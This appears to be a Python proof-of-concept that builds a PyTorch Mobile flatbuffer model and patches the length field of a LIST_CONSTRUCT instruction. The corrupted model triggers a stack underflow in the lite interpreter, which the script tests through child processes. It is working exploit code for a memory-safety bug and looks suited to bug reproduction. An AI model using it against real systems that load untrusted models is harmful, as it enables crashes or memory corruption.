#!/usr/bin/env python3
import argparse
import io
import json
import linecache
import os
import struct
import subprocess
import sys
import tempfile
import textwrap


def i32(buf, off):
    return struct.unpack_from("<i", buf, off)[0]


def u32(buf, off):
    return struct.unpack_from("<I", buf, off)[0]


def u16(buf, off):
    return struct.unpack_from("<H", buf, off)[0]


def u8(buf, off):
    return buf[off]


def table_field(buf, table, field_index):
    vtable = table - i32(buf, table)
    vlen = u16(buf, vtable)
    offpos = vtable + 4 + 2 * field_index
    if offpos + 2 > vtable + vlen:
        return None
    off = u16(buf, offpos)
    return None if off == 0 else table + off


def vector_info(buf, field_pos):
    vec = field_pos + u32(buf, field_pos)
    return vec, u32(buf, vec), vec + 4


def indirect_table(buf, elem_pos):
    return elem_pos + u32(buf, elem_pos)


def read_flatbuffer_string(buf, field_pos):
    start = field_pos + u32(buf, field_pos)
    size = u32(buf, start)
    return bytes(buf[start + 4 : start + 4 + size]).decode()


MODEL_SOURCE = textwrap.dedent(
    """
    import torch

    class M(torch.nn.Module):
        def forward(self, x: torch.Tensor, y: torch.Tensor):
            z = [x, y]
            return z[0] + z[1]
    """
)


def build_model_blob():
    import torch

    fake_filename = "/tmp/pytorch_mobile_list_construct_probe_model.py"
    linecache.cache[fake_filename] = (
        len(MODEL_SOURCE),
        None,
        MODEL_SOURCE.splitlines(True),
        fake_filename,
    )
    ns = {}
    exec(compile(MODEL_SOURCE, fake_filename, "exec"), ns)
    model = torch.jit.script(ns["M"]())
    return model._save_to_buffer_for_lite_interpreter(_use_flatbuffer=True)


def locate_target(blob):
    root = u32(blob, 0)
    ivalues_field = table_field(blob, root, 4)
    if ivalues_field is None:
        raise RuntimeError("missing ivalues table")

    _, ivalues_len, ivalues_base = vector_info(blob, ivalues_field)
    for i in range(ivalues_len):
        ivalue = indirect_table(blob, ivalues_base + 4 * i)
        val_type_field = table_field(blob, ivalue, 0)
        if val_type_field is None or u8(blob, val_type_field) != 16:
            continue

        fn_tbl = indirect_table(blob, table_field(blob, ivalue, 1))
        function_name = read_flatbuffer_string(blob, table_field(blob, fn_tbl, 0))
        instructions_field = table_field(blob, fn_tbl, 1)
        if instructions_field is None:
            continue

        _, instructions_len, instructions_base = vector_info(blob, instructions_field)
        for j in range(instructions_len):
            inst_off = instructions_base + 8 * j
            if u8(blob, inst_off) != 26:  # LIST_CONSTRUCT
                continue
            return {
                "function_ivalue_index": i,
                "function_name": function_name,
                "instruction_index": j,
                "instruction_offset": inst_off,
                "x_field_offset": inst_off + 4,
                "n_field_offset": inst_off + 2,
                "original_x": i32(blob, inst_off + 4),
                "original_n": u16(blob, inst_off + 2),
            }

    raise RuntimeError("failed to locate LIST_CONSTRUCT instruction")


def mutate_list_construct_n(blob, new_n):
    target = locate_target(blob)
    out = bytearray(blob)
    struct.pack_into("<H", out, target["n_field_offset"], new_n)
    target["mutated_n"] = new_n
    return bytes(out), target


def child_main(args):
    import torch
    import torch.jit.mobile

    with open(args.blob, "rb") as f:
        blob = f.read()

    if args.mode == "bytesio":
        module = torch.jit.mobile._load_for_lite_interpreter(io.BytesIO(blob))
    elif args.mode == "file":
        module = torch.jit.mobile._load_for_lite_interpreter(args.blob)
    else:
        raise RuntimeError(f"unknown mode: {args.mode}")

    out = module(torch.tensor([1]), torch.tensor([2]))
    print(json.dumps({"mode": args.mode, "result": out.tolist()}, sort_keys=True))


def controller_main(args):
    blob = build_model_blob()
    mutated, target = mutate_list_construct_n(blob, args.list_n)
    print(
        "MODEL_INFO",
        json.dumps(
            {
                "blob_len": len(blob),
                "target_instruction": target,
            },
            sort_keys=True,
        ),
    )

    if args.output_blob:
        path = os.path.abspath(args.output_blob)
        with open(path, "wb") as f:
            f.write(mutated)
        delete_path = False
    else:
        with tempfile.NamedTemporaryFile(
            prefix="pt-mobile-list-construct-underflow-",
            suffix=".ptl",
            delete=False,
        ) as tf:
            tf.write(mutated)
            path = tf.name
        delete_path = True

    try:
        final_rc = 0
        for mode in args.modes:
            proc = subprocess.run(
                [
                    sys.executable,
                    os.path.abspath(__file__),
                    "--child",
                    "--blob",
                    path,
                    "--mode",
                    mode,
                ],
                capture_output=True,
                text=True,
            )
            print("CHILD_MODE", mode)
            print("CHILD_EXIT", proc.returncode)
            if proc.stdout:
                print("CHILD_STDOUT", proc.stdout.strip())
            if proc.stderr:
                print("CHILD_STDERR", proc.stderr.strip())
            if proc.returncode != 0 and final_rc == 0:
                final_rc = proc.returncode
        return final_rc
    finally:
        if delete_path:
            os.unlink(path)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--child", action="store_true")
    parser.add_argument("--blob")
    parser.add_argument("--mode", default="bytesio")
    parser.add_argument("--modes", nargs="+", default=["bytesio", "file"])
    parser.add_argument("--list-n", type=int, default=3)
    parser.add_argument("--output-blob")
    args = parser.parse_args()

    if args.child:
        child_main(args)
    else:
        raise SystemExit(controller_main(args))


if __name__ == "__main__":
    main()